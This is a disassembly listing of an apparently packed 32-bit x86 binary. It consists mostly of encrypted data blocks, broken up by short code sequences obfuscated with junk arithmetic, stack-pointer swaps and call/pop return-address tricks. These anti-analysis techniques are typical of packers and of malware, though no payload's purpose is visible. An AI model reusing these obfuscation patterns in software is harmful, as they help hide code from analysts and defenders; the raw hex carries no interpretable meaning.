		dd 7DDC9737h, 1049C4Bh,	2C900000h, 246B7E74h, 727F9B0Ch
		dd 0FD8CF77Ah, 40486BF1h, 8DF75212h, 49E4778Dh,	4E691F2Eh
		dd 62021D67h, 66F6A3DBh, 26213E30h, 965EF10Fh, 0FA002BD4h
		dd 649D9061h, 9C4725C9h, 730A75D0h, 0D6C7CA73h,	71727FE2h
		dd 65F20223h, 3A57AC89h, 0E169B02Ah, 87F7F046h,	0C05BA160h
		dd 0ACF08EE7h, 50F54B7Ch, 69000000h, 7405792Ch,	4E883F9h
		dd 1BAABD66h, 0BEF7ECE3h, 0DB84CBB0h, 0AE5533F0h, 0F386D46Ch
		dd 0C3BE578Bh, 27D88956h, 0E263703Dh, 0A3F36CADh, 7D712484h
		dd 0E284216Ch, 88F26CADh, 0D5A2B6BAh, 7F1E1390h, 0D8201A40h
		dd 673583BCh, 509544h, 2C9F0000h, 246B7E74h, 727F98ECh
		dd 0C835396Bh, 65C899B2h, 0FA600C1Fh, 87FDD8D9h, 98DBF8D7h
		dd 2E7C727Fh, 27297478h, 81727F9Ah, 0CD37EE39h,	1D7B79B2h
		dd 21FDD0A1h, 0A6785721h, 0E71DF8F4h, 0A1299854h, 746A2686h
		dd 0A86E2E65h, 0BBE97E2Eh, 742C1460h, 78246B7Eh, 1F72860Ch
		dd 0E218A14Dh, 0D8135555h, 52D9FA86h, 0EF421728h, 0D3C4FF92h
		dd 5E982F8h, 0C66E51B8h, 7DA81EB8h, 8A2D3E44h, 2EC659A3h
		dd 0CB9BB6C3h, 6A7A136Eh, 6DDFFCD3h, 2A78B8C6h,	414C027Bh
		dd 0B8C66E54h, 0F3F3A1F3h, 0CB27553h, 33F235B5h, 1E75B6C9h
		dd 429B4BE4h, 3, 45190BEEh, 0DB462E3Dh,	7BE68EA1h, 98856900h
		dd 3A27CF5Ch, 65C0ACC1h, 84610D20h, 230EE67Bh, 4CA945D4h
		dd 0B2551932h, 8904EC83h, 0E589242Ch, 4C581h, 0ED830000h
		dd 242C8704h, 0E689565Ch, 4C681h, 0EE830000h, 24348704h
		dd 2414895Ch, 7CD768h, 241C8900h, 0D7874E68h, 24148B05h
		dd 4C481h, 0BC680000h, 89000017h, 4832424h, 685B0424h
		dd 12E9h, 0B9240C89h, 8, 1189D901h, 241C8B59h, 81E68956h
		dd 4C6h, 4C68300h, 5C243487h, 5A2434FFh, 0E904C483h, 0FFF9EFC7h
		dd 0D584EEFEh, 0BD181080h, 39CD7813h, 8BF8B86Bh, 0C50305D7h
		dd 188E0FFh, 37E662BFh,	0E2C91985h, 8D8D1770h, 5D78D48h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 9C35747h
		dd 0CF816666h, 0B5894193h, 5D10835h, 10218D89h,	10E905D1h
		dd 0D4000000h, 0CC09F971h, 8AA3AF12h, 0E4AC205Eh, 0C78F790Eh
		dd 0D11C0985h, 5B1805h,	1DBB6600h, 7985C7C9h, 5D106h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 0DCB5C351h, 14D6E4F4h, 0D1B5FF49h, 0E805D11Dh
		dd 13h,	0C0DCC150h, 0B89D22F8h,	128CDA3Eh, 545CB6Fh, 0FF56377h
		dd 0FF58F2BFh, 0D10EDD95h, 0FF006A05h, 0D1245995h, 0EBC08B05h
		dd 0A94C804Bh, 0E245969Fh, 0BB2C5EDEh, 0E2736CCEh, 0A7ABDDCCh
		dd 54DF48E7h, 11E256BBh, 8955782h, 53640142h, 0D79868AEh
		dd 0E3569A99h, 0BAB3BD78h, 0F4CC6B5Bh, 928E9194h, 0D24AE4F8h
		dd 2A1CBD03h, 7C573356h, 0E41F5EE3h, 56392E53h,	0E8A204EBh
		dd 7EE9740Ch, 0E6000005h, 0C32A8D9Ah, 2A019AB5h, 1279B2CBh
		dd 46F48E5h, 0F24962FFh, 0F588FDADh, 8C9BDB32h,	0A0B9C02Bh
		dd 45D62C07h, 8F5E62h, 66D6F813h, 45C963B4h, 215D2C3Fh
		dd 0AD7234BCh, 7A176C94h, 38C1AB54h, 9C395A69h,	8CDE6CADh
		dd 1E3348D3h, 3E53134Bh, 8F0016F7h, 262BD970h, 0AE756A6Bh
		dd 84BFED6Ch, 70896413h, 0A84B11DDh, 8E4778Dh, 2867D72Dh
		dd 6CAE752Bh, 39C8FEACh, 0BCB0CD2Ah, 0EEFE22A6h, 25CB211Dh
		dd 965EF308h, 0E4412BD4h, 0EC81FE9Ah, 0D332B3Eh, 404FF913h
		dd 15F0FCA7h, 0B09D51ECh, 9B3C3049h, 0AEBAFC2Bh, 0AED40DD8h
		dd 0DC6F1A9Dh, 0ADD6E4F1h, 0E31636Ch, 6A4DDC27h, 9061F803h
		dd 9B2EDD6Ah, 680B6C77h, 0C655A18Ch, 1914572Eh,	3BA14DE0h
		dd 32E1349Dh, 21D27D6Eh, 748F46E1h, 3BCE5F9Ah, 0AE7B8794h
		dd 0AC52006Ch, 0C9DA200Bh, 5B89C311h, 9CDA4BA9h, 4B79E383h
		dd 0F60FE29Bh, 3D5DB85Bh, 6D6CADA8h, 0F5894A9Dh, 0F2514EE7h
		dd 65h,	2C3F4576h, 85564540h, 0F4466CAEh, 0ADCF231h, 59D4514Eh
		dd 0FA600C1Fh, 9A9775Ch, 934C4456h, 6D9h, 0D12D0000h, 459399BAh
		dd 0E14C203Bh, 7EF58497h, 0A3496A03h, 55243946h, 0E08CA1DEh
		dd 0F393597Ah, 65935295h, 20BBA442h, 0E19754CDh, 0D995EFC6h
		dd 0AE68E9EAh, 0F0B46E6Ch, 0C5A3C0CDh, 0EEC9FFADh, 2D404586h
		dd 15068D5Ch, 0B26CAE85h, 84CFCCC3h, 1A486CAEh,	0A9C43974h
		dd 707C27C5h, 1D06B95h,	0FDADD5D5h, 2261B77Ch, 6CADB031h
		dd 2DD684D6h, 0A199047h, 0D5975FF0h, 944D982Ah,	0F2D9D26Fh
		dd 12FFF788h, 1B9A4AE3h, 33BB78AFh, 10514EE1h, 91h, 2D404514h
		dd 0DC40265Ch, 547B648Ch, 1964C1ABh, 0D06F6C23h, 0BAE86CADh
		dd 0C8FE91EBh, 66CD7C24h, 0DD6C001Dh, 0ADCFE5F6h, 230626Ch
		dd 5F965151h, 1C460B26h, 7DBFF7A5h, 0E1F04158h,	0E35C15FEh
		dd 0A251873Dh, 0CD0F3DDDh, 51AA8112h, 0ACD5303Ch, 72D4DD91h
		dd 196E70B3h, 552B514Eh, 0CF000000h, 5A7B5619h,	0FD6CAE85h
		dd 0E07D86AFh, 720F743Fh, 0E774806Fh, 0BAA25D0Fh, 3B36245Fh
		dd 27C5A9C0h, 0AE84ADAEh, 4A782A6Ch, 0A047339Ah, 0A6011C61h
		dd 203B454Eh, 8551414Ch, 1E5B6CAEh, 78866303h, 30B60FE7h
		dd 66F843F5h, 0A6A04BFh, 14F514Eh, 0E3000000h, 5CF10A19h
		dd 0EC7DF8A3h, 4CDF2500h, 8E59D1A0h, 96112857h,	75047AD6h
		dd 182F4FA2h, 0E6ED9654h, 727F8FDAh, 0C558A18Ch, 880B329h
		dd 90494A79h, 9CCE727Fh
		dd 12481BEEh, 19C0ED24h, 0A9AA1BA6h, 2E728049h,	0BC99437Ch
		dd 95243546h, 804A1D3Eh, 37E8BA72h, 0DA758FE6h,	498C8F0Ah
		dd 5C2A7280h, 19324889h, 324DB79Eh, 0B1ADD732h,	804A0112h
		dd 26D48672h, 0ED9A94Eh, 1992ADD7h, 7C459E30h, 619B964Bh
		dd 9B4426CEh, 14BC1h, 742C6500h, 0C246B7Eh, 8B727F9Bh
		dd 0D22815D9h, 0ED177EB9h, 4DB79252h, 0B5C02F32h, 0C39AC8A4h
		dd 5AB15191h, 0F4F0A351h, 7DB47343h, 4B37407h, 0EEEFA275h
		dd 69728071h, 71C9CA3Bh, 1C4E7280h, 1DA43A63h, 77814B7Ch
		dd 0F8000000h, 73730A75h, 7DD6C7CAh, 23717280h,	2CDA427Dh
		dd 0A5740579h, 8AFB2B9h, 752EFEB6h, 0ADF9DD8Eh,	5DA48B6Ch
		dd 0B7BA20CCh, 0ADF9FB18h, 15CE9C6Ch, 0DE0F1A3h, 5A8864F7h
		dd 0C42D2E87h, 1BC4EA3Bh, 3F45A851h, 8B88732Ch,	0A16CAE09h
		dd 0C623C35Ah, 0D8CFA7B8h, 0AE199F46h, 2C61C91Ch, 0BD10A3B6h
		dd 6CAE09A0h, 0BF4A7527h, 0AE0A5310h, 5A6F46Ch,	8BD2h
		dd 742C5E00h, 79846B7Eh, 0A55E0CE0h, 98A3EFA2h,	7624727Fh
		dd 0D669937Eh, 0EB84FED5h, 9998BEFBh, 0A81E727Fh, 2D3E447Dh
		dd 6F8ECA8Ah, 0F5777F12h, 462E43B8h, 50E3F6A4h,	0E98AA1DDh
		dd 572787E2h, 632EF178h, 78572872h, 3C9C4715h, 65C89B6Eh
		dd 8F8C011Ch, 8785728h,	56B3B95Ah, 6253132Ch, 0AFE941E4h
		dd 0CC9F2E33h, 5728D4C1h, 7E217378h, 2EB61C97h,	18E9BB7Eh
		dd 4AC9FEE2h, 752E5432h, 4F4215A4h, 7E2F474Eh, 0BCF89BC9h
		dd 6B7E742Ch, 8612CD24h, 2F904A72h, 0AAD9D91Fh,	12ABBB69h
		dd 0BD4F4C43h, 0E5C87285h, 5E78F9Eh, 7B81AC57h,	96ECC7E0h
		dd 0ABACE985h, 81E46137h, 210CE07Bh, 0D2A343DAh, 432F9154h
		dd 1963A245h, 0AC0B7306h, 1A51AED3h, 705B5C07h,	907D710Ah
		dd 0AB1ACA67h, 0B3C908DFh, 0CE341F98h, 3A8B1BDh, 84000000h
		dd 3D45190Bh, 0A1DB462Eh, 7BE68Eh, 5C988569h, 0C13A27CFh
		dd 2065C0ACh, 7B84610Dh, 0D4230EE6h, 324CA945h
; ---------------------------------------------------------------------------
		sbb	[ebp-4Eh], edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		push	1372h
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 69C16ACDh
		or	edi, 212A29B0h
		not	edi
		sub	edi, 34146A4Ah
		xor	edi, 12176CD3h
		inc	edi
		add	edi, 95C04837h
		mov	ecx, edi
		pop	edi
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		push	esi
		mov	esi, 50A8749Dh
		sub	[esp+4], esi
		pop	esi
		pop	dword ptr [edx+8]
		add	dword ptr [edx+8], 50A8749Dh
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		dd 0F79554E1h, 9287B840h, 0C50305D7h, 317BE0FFh, 0CC065481h
		dd 0EA610B2Bh, 61DD7CBDh, 5EEE02E1h, 6A2916E8h,	0BCA802DDh
		dd 556416AEh, 0AD4814FEh, 23320BB7h, 8874C84h, 9EF0447Fh
		dd 0C7CE1123h, 38DB58D3h, 0E60C381Bh, 0CE13123Bh, 0AB394689h
		dd 0C58179C6h, 0DFC30715h, 2280625Eh, 873E06B0h, 61526FA0h
		dd 0CE216C3Dh, 0F40826CFh, 0FFAE21B0h, 149737F8h, 28B671C6h
		dd 62F91DAAh, 54D003F9h, 5CF54B2Fh, 8D8D6805h, 5D79473h
		dd 71958Bh, 8D8905D1h, 5D11021h, 6840Fh, 0EF810000h, 46E777E0h
		dd 6820Fh, 9D8B0000h, 5D12CB9h,	1C0985C7h, 64EC05D1h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 13E9A7C3h, 0A4000000h, 0A045BC39h, 8AA2361Fh, 10EB21C7h
		dd 233B6E9Dh, 0BD290F00h, 5D12B21h, 67985C7h, 5D1h, 0C6810000h
		dd 3DBB93F3h, 17D5B5FFh, 6A05D1h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 9EBFC6C3h, 0FF6C017Ah
		dd 0D10EDD95h, 53006A05h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 0F78BF3DEh, 95FF006Ah
		dd 5D12459h, 69EBC08Bh,	0B89A43D2h, 644986C5h, 5176041Bh
		dd 0E9B68D7h, 657914C6h, 9215E8E8h, 0B6B9CFADh,	0A11D8C9Bh
		dd 765EA833h, 7832EB3Bh, 0C74F99D2h, 1E529DACh,	0A1BAD141h
		dd 0FCC62632h, 0DFAB1533h, 71FDA791h, 57CF8BA0h, 480798B8h
		dd 51B5CB7Fh, 83D7E214h, 875F4F21h, 59330057h, 0E1B1C535h
		dd 530B03E0h, 0C7652E27h, 0DDC29642h, 10EBF1h, 3 dup(0)
		dd 8B000000h, 0FE8C0h, 9C20000h, 33F35D67h, 0FE1F18C2h
		dd 8BE4D73Dh, 0DE933h, 0F2400000h, 3AA24645h, 0B6645E26h
		dd 5EB2E598h, 1671BD83h, 750005D1h, 1DBD8309h, 5D112h
		dd 53501974h, 2DB8C08Bh, 89000004h, 0D1140985h,	0CD9D8D05h
		dd 0FF05D3A1h, 83585BD3h, 0D1121DBDh, 17740005h, 2DB85350h
		dd 89000004h, 0D1140985h, 0BC9D8D05h, 0FF05D39Eh, 89585BD3h
		dd 0D1303595h, 0B0DCBA05h, 81577B35h, 0FB361BC2h, 0C08B5E75h
		dd 8BF08B66h, 0D125D58Dh, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 9BEB6209h
		dd 83F2B70Fh, 840F00F9h, 63h, 1C199D89h, 850F05D1h, 8
		dd 28B0Fh, 61600000h, 2C3D8B64h, 31000000h, 0D10BC9BDh
		dd 0FFF0B05h, 3A84h, 25B58B00h,	8B05D115h, 53006A3Fh, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
		dd 2088AA21h, 0F3AE8CB6h, 0F9C032DAh, 9533AAF3h, 5D11575h
		dd 35D7B70Fh, 53504149h, 0C6D6B70Fh, 0D124D985h, 0EE84705h
		dd 7D000000h, 9DB42C51h, 669453EAh, 3DB5DF6Fh, 5EF38B1Ch
		dd 54964F68h, 2E14BAF3h, 34813E37h, 821E6324h, 68D0F2Fh
		dd 9000000h, 0D113499Dh, 0FDB5FF05h, 6A05D124h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 7173C350h, 0C9A193DEh, 0B302634Eh, 5CA1858Dh, 858905D4h
		dd 5D11EF9h, 9D09D0FFh,	5D12A89h, 0FCD8589h, 0CE805D1h
		dd 76000000h, 0AC741532h, 0FCBDA3D8h, 0BA57B70h, 0D120E5B5h
		dd 85C65A05h, 5D124D9h,	5890F53h, 66000000h, 475DC681h
		dd 685CDE80h, 4CA33497h, 81F78B66h, 36652404h, 8B663BF5h
		dd 0FDB5FFD7h, 0E805D124h, 9, 6F419464h, 0BCB95C0h, 68A0F7Bh
		dd 8B000000h, 0D108A9B5h, 858D5A05h, 5D45CA1h, 3E42F681h
		dd 0D0FF7741h, 0C367BA66h, 2802858Dh, 0B70F05D4h, 18589F6h
		dd 8905D131h, 0D123D1BDh, 6A206A05h, 195FFFFh, 3505D131h
		dd 53504149h, 15E185C7h, 105D1h, 85C70000h, 5D13185h, 0
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5D3577
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D3577	proc near		; CODE XREF: ud2_____:005D356Fp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_5D3577	endp

; ---------------------------------------------------------------------------
		db 7Bh
		dd 5C3058ECh, 86EDCB37h, 0A9B533A1h, 6605D113h,	0B509F18Bh
		dd 5D11915h, 19C1958Bh,	0BD8305D1h, 5D12A69h, 89840F00h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 0D5F8C357h, 0F15CEA5Ch, 0D1D8589h
		dd 820F05D1h, 6, 11FDBD89h, 858B05D1h, 5D106E5h, 1405B58Bh
		dd 0A36405D1h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_5D3603
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D3603	proc near		; CODE XREF: ud2_____:005D35FBp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_5D3603	endp

; ---------------------------------------------------------------------------
		db 3
		dd 4D858B62h, 0F05D114h, 886h, 28F0F00h, 8B000000h, 0E8E08BD3h
		dd 5, 0DCD8426h, 558509F2h, 5A05D124h, 1725BD83h, 0F0005D1h
		dd 47085h, 0BD958B00h, 8905D100h, 0D1193DB5h, 0D985C605h
		dd 5605D124h, 2A6FC568h, 10E856h, 0F72B0000h, 0D1DFEB86h
		dd 369DA8C8h, 0B17D9950h, 9E94689h, 97000000h, 0D758598Ch
		dd 4DE38159h, 2404815Eh, 539AC11Ah, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 0C7C35141h,	0B58B8F9Bh, 5D11029h
		dd 0B5FF43B6h, 5D124FDh, 5CA1858Dh, 6A05D4h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0BD797CC3h
		dd 9C1CCFCAh, 0FB8B18Ah, 89h, 6AD0FF00h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0E06BC353h
		dd 10319503h, 575005D1h, 895AF78Ah, 0B58B2404h,	5D12A3Dh
		dd 21698D8Dh, 6A05D1h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 0E9C45BC3h, 6, 0C211A2E7h, 860FBC3Eh
		dd 18h,	128C0Fh, 0CE80000h, 0AA000000h,	1F6016DEh, 0F82598F6h
		dd 5ED3C151h, 6A915091h, 51006A04h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 0AB9F54E3h, 5FB91699h
		dd 14E9C1h, 3BD00000h, 8DD284BDh, 38D2D02h, 0D62682E6h
		dd 91082AB6h, 0C868DE9Ah, 0E9F9ECB0h, 12h, 0B3D917DEh
		dd 5D6D2316h, 0A04D0071h, 0C1CBBB17h, 4818B05h,	135F3824h
		dd 0E5952B06h, 0FF05D126h, 0D11079B5h, 0F5B58905h, 0FF05D11Ch
		dd 65BD31D0h, 8B05D114h, 0D11079BDh, 0E9B58B05h, 305D11Bh
		dd 958B3C7Fh, 5D106D5h,	0F8C781h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0D75BC6C3h
		dd 34488642h, 0C757BE3Eh, 202447h, 0B58B6000h, 5D10889h
		dd 94E3BD83h, 0F0005D7h, 15584h, 66C0BA00h, 0C78378C5h
		dd 0ADBE6628h, 9E972h, 90E0000h, 95788B1Bh, 0C7685C33h
		dd 696A2E07h, 14E964h, 28A90000h, 3681C292h, 147985ECh
		dd 0AF25198Ah, 67C2B03Ch, 47C7B0CCh, 61746104h,	0C0816000h
		dd 2E531324h, 23AD8D8Bh, 8B6105D1h, 0D794EB85h,	53006A05h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 0B4E723F0h, 0BDDEC6Eh, 6D8589A5h, 8905D11Fh,	6A0C47h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 0A602DCC3h, 0F5679304h, 94EF858Bh, 0BE6605D7h, 47890BA8h
		dd 53006A08h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 5372D7CBh, 5B75743Ch, 8B28C783h,	0D132A995h
		dd 2E07C705h, 8B6E6F63h, 0D10D6195h, 447C705h, 676966h
		dd 6DD9D89h, 858B05D1h,	5D794E7h, 99958960h, 905D10Ah
		dd 0D13259BDh, 47896105h, 57006A0Ch, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 47E12E6Bh
		dd 94E3858Bh, 816605D7h, 893E9FCEh, 958B0847h, 5D1168Dh
		dd 11E9h, 0B0AC8C00h, 0E01C5352h, 1B24A1B4h, 466BBC4h
		dd 0BE589FD3h, 5B5D6295h, 0F198D8Dh, 6A05D1h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0AAE956C3h
		dd 0FF9CDF80h, 9589818Ch, 5D10EA5h, 0AE850h, 0E7640000h
		dd 8F4A7B3Fh, 93CF8787h, 2870Fh, 5A530000h, 240C895Ah
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 78C35343h
		dd 5FA7D3CCh, 71BDD6AFh, 0C9D9D89h, 8D3105D1h, 5D10F1Dh
		dd 2169B5FFh, 0BD8905D1h, 5D10D1Dh, 4E8h, 100000h, 0C1BA6600h
		dd 5250504Dh, 0D860Fh, 8E90000h, 0C2000000h, 513FDDB8h
		dd 0F29A97Eh, 0FE8B6031h, 566291B9h, 585A6179h,	424448Bh
		dd 2A5EBA66h, 22B6008Bh, 4244489h, 0DE9h, 19778B00h, 61A4B608h
		dd 0EDB43C13h, 8B588A89h, 0D121E595h, 89BD2905h, 0FF05D117h
		dd 0D11079B5h, 57006A05h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 9D8936B4h, 5D1087Dh, 8060D0FFh
		dd 89618FE7h, 0D1244DBDh, 0B805h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 800F98C3h
		dd 1, 0FC00BF9h, 2F84h,	9E900h,	3A1F0000h, 5E511F31h, 0FF3A89BDh
		dd 0D10B89B5h, 4820F05h, 66000000h, 0FF42A3BEh,	0D10EDD95h
		dd 5800F05h, 0BA000000h, 36BBBE40h, 0D281C08Bh,	5ED7E3C2h
		dd 1671BD83h, 750005D1h, 1DBD8309h, 5D112h, 53501974h
		dd 2DB8C08Bh, 89000004h, 0D1102D85h, 349D8D05h,	0FF05D3A2h
		dd 83585BD3h, 0D1121DBDh, 17740005h, 2DB85350h,	89000004h
		dd 0D1102D85h, 0D59D8D05h, 0FF05D39Eh, 6A585BD3h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 8C87C352h, 3BF68129h, 8B72634Dh, 0AD958BC0h,	8B05D10Fh
		dd 6E8C0h, 1B260000h, 2E741FEEh, 5FCE8B66h, 27A1B589h
		dd 0C78105D1h, 6294h, 4598C881h, 0D22B0547h, 6850Fh, 0C3810000h
		dd 3D4331C2h, 8917348Bh, 0D114F98Dh, 4EF68105h,	0F46FD58h
		dd 682h, 9DC88100h, 81263DBEh, 351A79F6h, 0AE83Fh, 0BC330000h
		dd 0E1A83C07h, 0C31480B9h, 0EE8158F9h, 52304B4Fh, 58C0Fh
		dd 0E5B80000h, 892F334Ah, 8B601734h, 0D11099BDh, 0F3816105h
		dd 57257223h, 904EA83h,	0D11EAD85h, 28FA8105h, 0FFFFF9Eh
		dd 1885h, 419D3100h, 0E905D119h, 22h, 6D3CBAFAh, 0D56A54F0h
		dd 54A05456h, 0F9BD891Ah, 0E905D112h, 0FFFFFF74h, 61F1EA4Bh
		dd 54B67856h, 4EB7E40h,	1E5F5AE9h, 521E9h, 6FFC0400h, 417614Ch
		dd 1C2D48A3h, 2A47B09Bh, 0CC619AF1h, 134B10EBh,	795457EAh
		dd 664D6EFDh, 42A9021Bh, 0FC842738h, 0E675662Dh, 0C51266D6h
		dd 2C3F456Fh, 8DA0E540h, 0A6B9C32Ah, 61963CEh, 0DA75836Eh
		dd 48E11817h, 571DC6A4h, 0D70ED9AFh, 321992ADh,	9CAFC9C7h
		dd 9BE6CDEEh, 0F707E282h, 0B5358C60h, 3148B372h, 106CC3F6h
		dd 0A7DD587Bh, 955C8B1Ch, 48B84C9Ah, 30E21869h,	26CEFC3Dh
		dd 0AE19779Bh, 10D7A76Ch, 0C657A68Dh, 757A141Dh, 807F514Eh
		dd 0F3000000h, 800F3F45h, 6CAE8493h, 0A1B06634h, 4A1A3342h
		dd 0B805EF90h, 6CAE8499h, 35EE3989h, 514E0A99h,	0D0CDC093h
		dd 776CAE90h, 908A8B06h, 5F0D6CAEh, 0ED7E84A9h,	0ACB85B01h
		dd 1, 203B4540h, 8497E14Ch, 59F40DE8h, 8D5CED95h, 0AE851506h
		dd 11E0B26Ch, 0AE84A1B2h, 4B74266Ch, 0B75AC7Bh,	78826170h
		dd 0A25D0FE7h, 4FE01A71h, 2FC240BAh, 0F94283CAh, 3EB8A5E8h
		dd 0D5F6CAEh, 456B4152h, 0E4412D40h, 4AED819Ah,	0F74AD78h
		dd 2852B972h, 72720F68h, 233A45E8h, 0FBEB9943h,	0BB4EDF1Eh
		dd 0BC1349B4h, 6CAE849Fh, 9B446A38h, 0AF76D0D1h, 4E0C6A74h
		dd 7F2F51h, 45C30000h, 0B8412D40h, 0D01BD442h, 0A75865B8h
		dd 6D9781FCh, 9A4812D2h, 639B2ACAh, 9043F107h, 21E1924Fh
		dd 679C9306h, 0F90229CAh, 13684364h, 58D7767Eh,	86640821h
		dd 372956DDh, 0ADA27B98h, 0B5A6ED6Ch, 526CADA2h, 2CD28000h
		dd 1EC94140h, 4EEED9E5h, 48BE51h, 45B20000h
		dd 0E4412D40h, 5E08C9Dh, 4BE41EFCh, 176CC9A5h, 0FCCA6A7Ah
		dd 0B37D1F29h, 86640081h, 0BE69D1D0h, 4863FE07h, 203B456Ch
		dd 8551414Ch, 0F1416CAEh, 0AE1FD36h, 38CB514Eh,	0AE908895h
		dd 0A25D0F6Ch, 1AAh, 3A454E00h,	0B7BA4323h, 0A933334Eh
		dd 3A55AFF6h, 18CF5B2Ah, 2C8F9ED9h, 0EFF2F0A8h,	7F8F98A0h
		dd 9C6D3F72h, 55AC6A91h, 876D16C4h, 0ECCF609Ah,	0CE07B81h
		dd 0E2DD017Dh, 0F574456Dh, 3D0C3CAh, 27567280h,	41C3994h
		dd 0E9BB7280h, 0F031F436h, 8336F18Ah, 2B3B50ACh, 5DA78EB1h
		dd 0BDC722C2h, 0D0D42Ah, 0D3819CFFh, 0DB0A7C13h, 6C4FE01Ah
		dd 7CB66B03h, 139484Bh,	2CEC0000h, 45F50174h, 0AE854D4Eh
		dd 0EA98CA6Ch, 529E35C4h, 0F5727F9Ah, 9A0C0984h, 0D98B727Fh
		dd 0AF823B2Bh, 12193A55h, 795457E8h, 99846803h,	3924C863h
		dd 59C4A8C3h, 10610D20h, 6D964F96h, 984E1CD0h, 0F938EFDFh
		dd 0D0679783h, 1F984E1Ch, 7CF59836h, 0C2C1904Bh, 727FA5D1h
		dd 617B2476h, 73h, 5792C85h, 0C4B9A574h, 0FB92EDB0h, 20DEFB5Dh
		dd 0ADDC706Dh, 9745176Ch, 0DD44E1ECh, 91C36CADh, 0DCC3D0DDh
		dd 0C3536CADh, 0DDD18424h, 45D8210Ch, 0F5F992E8h, 0EABD4C77h
		dd 0E812FC07h, 1FCD9F57h, 0FA1BB657h, 9D6CADDCh, 9F6619CFh
		dd 6CADDCCEh, 3C4FB5B8h, 226FB503h, 0F91B5CC1h,	271D4A5h
		dd 8CB2EA2Eh, 0A42F0856h, 0A6547414h, 65D205h, 195E0000h
		dd 0C8337AFDh, 0C5FE6A86h, 94655937h, 7F80D139h, 48247672h
		dd 29CD45B1h, 0BA2BC4C5h, 0D7689299h, 0E883F9D4h, 0C97B904h
		dd 0A911727Fh, 223D477Eh, 6E8DCB89h, 85547A13h,	56AB410Eh
		dd 18B7C678h, 7856AAFBh, 5418CE9Ch, 0F4F893E9h,	72DA0D9Dh
		dd 0A3071016h, 7FDC3721h, 3C15B849h, 0DB7E2EF6h, 19C62E89h
		dd 965EEF0Ah, 0B2259D4h, 3EDE815Bh, 969D6C62h, 5A2DD667h
		dd 0C059A48Bh, 3E85BE2Ch, 72862351h, 3C597407h,	0DB728623h
		dd 0C2F08DF6h, 0F9F5A711h, 5255E61Ch, 9B6E017Bh, 56AD6F94h
		dd 8F5D11C7h, 968D08D4h, 0D98E0F1Bh, 292A9928h,	38E0F1Ch
		dd 0DF8D61F8h, 34F6A9FBh, 0B1CA30F1h, 35E51F76h, 9BB6CFCBh
		dd 836311CBh, 1D2E54D9h, 9E58B51h, 0D787FD70h, 0F1BDBF8h
		dd 782E7C8Eh, 66CDF674h, 6F027B19h, 3148B5B9h, 8EE95418h
		dd 3086F7FFh, 0F07643F5h, 364DA035h, 0CB317C27h, 3942A1B0h
		dd 53BA7B24h, 0F5E1629h, 14h, 1E440B21h, 0FBA2319Eh, 0AFC03EF9h
		dd 3E7725C7h, 0AFF5AEBFh, 462E3D45h, 0E68EA1DBh, 8569007Bh
		dd 27CF5C98h, 0C0ACC13Ah, 610D2065h, 0EE67B84h,	0A945D423h
		dd 5519324Ch, 0E28952B2h, 4C281h, 0EA830000h, 24148704h
		dd 242C895Ch, 81E68956h, 4C6h, 4EE8100h, 87000000h, 895C2434h
		dd 0B268241Ch, 89000037h, 0A068242Ch, 89000050h, 86BF243Ch
		dd 0F75D9A29h, 3E7C1D7h, 8147EFD1h, 0BFBBA4EFh,	5FFB8903h
